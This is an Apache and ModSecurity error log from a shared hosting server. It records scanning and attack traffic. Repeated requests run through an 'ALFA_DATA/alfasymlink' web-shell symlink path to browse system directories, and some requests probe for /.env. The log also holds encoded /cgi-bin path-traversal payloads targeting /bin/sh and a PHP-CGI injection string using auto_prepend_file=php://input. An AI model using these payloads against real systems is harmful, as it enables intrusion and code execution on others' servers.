[Sat Oct 24 20:34:20.228066 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 85.208.96.210:46908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:34:30.161487 2026] [core:error] [pid 2731641:tid 2731641] (13)Permission denied: [client 52.0.105.244:19564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/bin/x86_64-redhat-linux-gcc-8
[Sat Oct 24 20:34:34.541007 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 54.235.172.96:44318] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:34:50.161992 2026] [proxy_fcgi:error] [pid 2731598:tid 2731598] [client 54.156.55.147:62722] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:35:02.324498 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.194.134.53:47127] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:35:06.212701 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.210.213.220:10130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:35:10.823615 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.230.124.21:38086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:35:14.317627 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.197.28.78:34837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:35:18.271375 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.200.251.20:50578] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:35:22.275375 2026] [ssl:error] [pid 2731612:tid 2731612] (5)Input/output error: [client 184.73.68.20:37965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:35:46.395196 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 100.27.153.9:52684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/custom_divisor
[Sat Oct 24 20:35:52.570889 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.15:52256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/trace
[Sat Oct 24 20:35:58.156070 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.213.46.222:55124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:02.159092 2026] [core:error] [pid 2731641:tid 2731641] (13)Permission denied: [client 52.45.29.57:49323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource2
[Sat Oct 24 20:36:06.386042 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.217.255.167:9362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:14.172187 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 44.221.105.234:45731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:26.141873 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.227.156.153:10018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:30.296325 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.239.197.197:34953] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:34.173690 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.203.111.15:33718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:39.478362 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 185.191.171.15:47112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/reclaim_account
[Sat Oct 24 20:36:42.192930 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.222.190.107:38739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:43.673264 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.6:16926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/free_calls
[Sat Oct 24 20:36:46.176884 2026] [security2:error] [pid 2692918:tid 2692918] [client 130.12.180.164:20544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1PHrUNAjBk2uOT2T-G3QAAAAo"]
[Sat Oct 24 20:36:46.177184 2026] [security2:error] [pid 2692918:tid 2692918] [client 130.12.180.164:20544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1PHrUNAjBk2uOT2T-G3QAAAAo"]
[Sat Oct 24 20:36:46.177673 2026] [security2:error] [pid 2692918:tid 2692918] [client 130.12.180.164:20544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1PHrUNAjBk2uOT2T-G3QAAAAo"]
[Sat Oct 24 20:36:46.284998 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.222.85.38:20890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:36:50.164162 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.220.148.166:65463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:10.142611 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 100.29.128.75:50519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:14.138910 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 184.73.47.24:27000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:22.152065 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.157.84.74:18091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:34.423308 2026] [ssl:error] [pid 2731612:tid 2731612] (5)Input/output error: [client 34.236.41.241:11821] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:38.146688 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.54.15.103:13793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:42.146945 2026] [ssl:error] [pid 2731641:tid 2731641] (70014)End of file found: [client 18.214.186.220:61889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:54.143280 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.215.59.93:60804] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:37:58.155880 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 3.209.174.110:57652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:02.159497 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 100.28.49.152:53808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:06.130076 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.212.205.90:8752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:14.256181 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.192.67.98:43845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:18.259767 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.87.95.7:26348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:22.138596 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.72.84.154:42275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:30.141641 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.44.174.136:38931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:32.187685 2026] [security2:error] [pid 2693035:tid 2693035] [client 85.208.96.201:34566] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/pedquota"] [unique_id "at1PiN3lMH_Ldre-PZtuUAAAACk"]
[Sat Oct 24 20:38:32.187734 2026] [security2:error] [pid 2693035:tid 2693035] [client 85.208.96.201:34566] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/pedquota"] [unique_id "at1PiN3lMH_Ldre-PZtuUAAAACk"]
[Sat Oct 24 20:38:39.080519 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 185.191.171.13:49344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:38:50.147692 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.211.39.188:55414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/remove
[Sat Oct 24 20:38:54.129205 2026] [ssl:error] [pid 2731641:tid 2731641] (70014)End of file found: [client 54.87.95.7:11752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:39:02.143893 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.231.45.47:15447] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:39:03.612552 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.4:40494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/destroy_by_rcu
[Sat Oct 24 20:39:18.132439 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 23.23.137.202:26013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:39:22.585472 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.226.89.140:33281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/clk-lpss-atom/unbind
[Sat Oct 24 20:39:30.189813 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.84.70.201:64587] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:39:54.602748 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.211:14498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/cpu_partial
[Sat Oct 24 20:40:02.128888 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.213.240.226:44415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:04.774573 2026] [security2:error] [pid 2693034:tid 2693034] [client 81.71.68.89:44378] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at1P5FQTwXU83R4GW_mavAAAACg"]
[Sat Oct 24 20:40:04.775644 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 81.71.68.89:44378] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:40:10.188475 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 3.213.85.234:30298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:14/eject
[Sat Oct 24 20:40:14.269729 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.0.41.164:31410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:22.130712 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.205.120.22:24124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:30.217928 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.226.106.93:5273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:34.254915 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.164.106.236:9674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:38.117063 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.196:25926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/trace
[Sat Oct 24 20:40:38.146243 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 18.209.201.119:29356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:42.143529 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.215.221.125:4705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:40:56.050359 2026] [core:error] [pid 2731641:tid 2731641] (13)Permission denied: [client 185.191.171.8:63090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/aliases
[Sat Oct 24 20:41:02.143933 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.147.238.89:37927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:41:06.949218 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 185.191.171.4:11546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/uartclk
[Sat Oct 24 20:41:22.301341 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.211.105.134:60081] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:41:42.147878 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 23.23.214.190:53342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/MPTCP/slabs_cpu_partial
[Sat Oct 24 20:41:46.243287 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sssd/' is executable
[Sat Oct 24 20:41:46.243698 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/dhcp/' is executable
[Sat Oct 24 20:41:46.244040 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sudoers.d/' is executable
[Sat Oct 24 20:41:46.247652 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/grub.d/' is executable
[Sat Oct 24 20:41:46.247929 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/nftables/' is executable
[Sat Oct 24 20:41:46.248688 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/audit/' is executable
[Sat Oct 24 20:41:46.249158 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/firewalld/' is executable
[Sat Oct 24 20:41:46.255747 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/csf/' is executable
[Sat Oct 24 20:41:46.259282 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 184.73.47.24:44392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/named/' is executable
[Sat Oct 24 20:42:14.149483 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.224.9.144:4871] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:42:25.522652 2026] [security2:error] [pid 2731598:tid 2731598] [client 43.160.241.129:37044] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/zacson1/"] [unique_id "at1QcUCehrQoNuVtn8-OqAAAAAM"]
[Sat Oct 24 20:42:26.822038 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.195:65038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/alloc_calls
[Sat Oct 24 20:42:30.160441 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 54.225.199.17:28852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS2/line
[Sat Oct 24 20:42:39.439050 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.193:13550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/outgoing_mail_hold_users
[Sat Oct 24 20:42:42.151807 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 50.19.79.213:65189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:42:46.282957 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.239.197.197:64213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:15/eject
[Sat Oct 24 20:42:46.283405 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.239.197.197:64213] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:15/eject"] [unique_id "at1QhjKiZtbKEGWJKoLVpwAAACE"]
[Sat Oct 24 20:42:46.283436 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.239.197.197:64213] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:15/eject"] [unique_id "at1QhjKiZtbKEGWJKoLVpwAAACE"]
[Sat Oct 24 20:42:50.426105 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 3.215.59.93:22828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.3/subsystem/drivers/ata_piix/module/sections/__param
[Sat Oct 24 20:43:00.631350 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.206:39792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/cache_dma
[Sat Oct 24 20:43:10.205374 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.226.89.140:47999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0e/subsystem/drivers/thermal/bind
[Sat Oct 24 20:43:10.222598 2026] [core:error] [pid 2731612:tid 2731612] [client 89.126.211.166:38114] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sat Oct 24 20:43:10.746024 2026] [core:error] [pid 2684583:tid 2684583] [client 89.126.211.166:38128] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sat Oct 24 20:43:11.354986 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at1Qn93lMH_Ldre-PZtuXQAAACk"]
[Sat Oct 24 20:43:11.355123 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at1Qn93lMH_Ldre-PZtuXQAAACk"]
[Sat Oct 24 20:43:11.355640 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at1Qn93lMH_Ldre-PZtuXQAAACk"]
[Sat Oct 24 20:43:11.385278 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qn93lMH_Ldre-PZtuXQAAACk"]
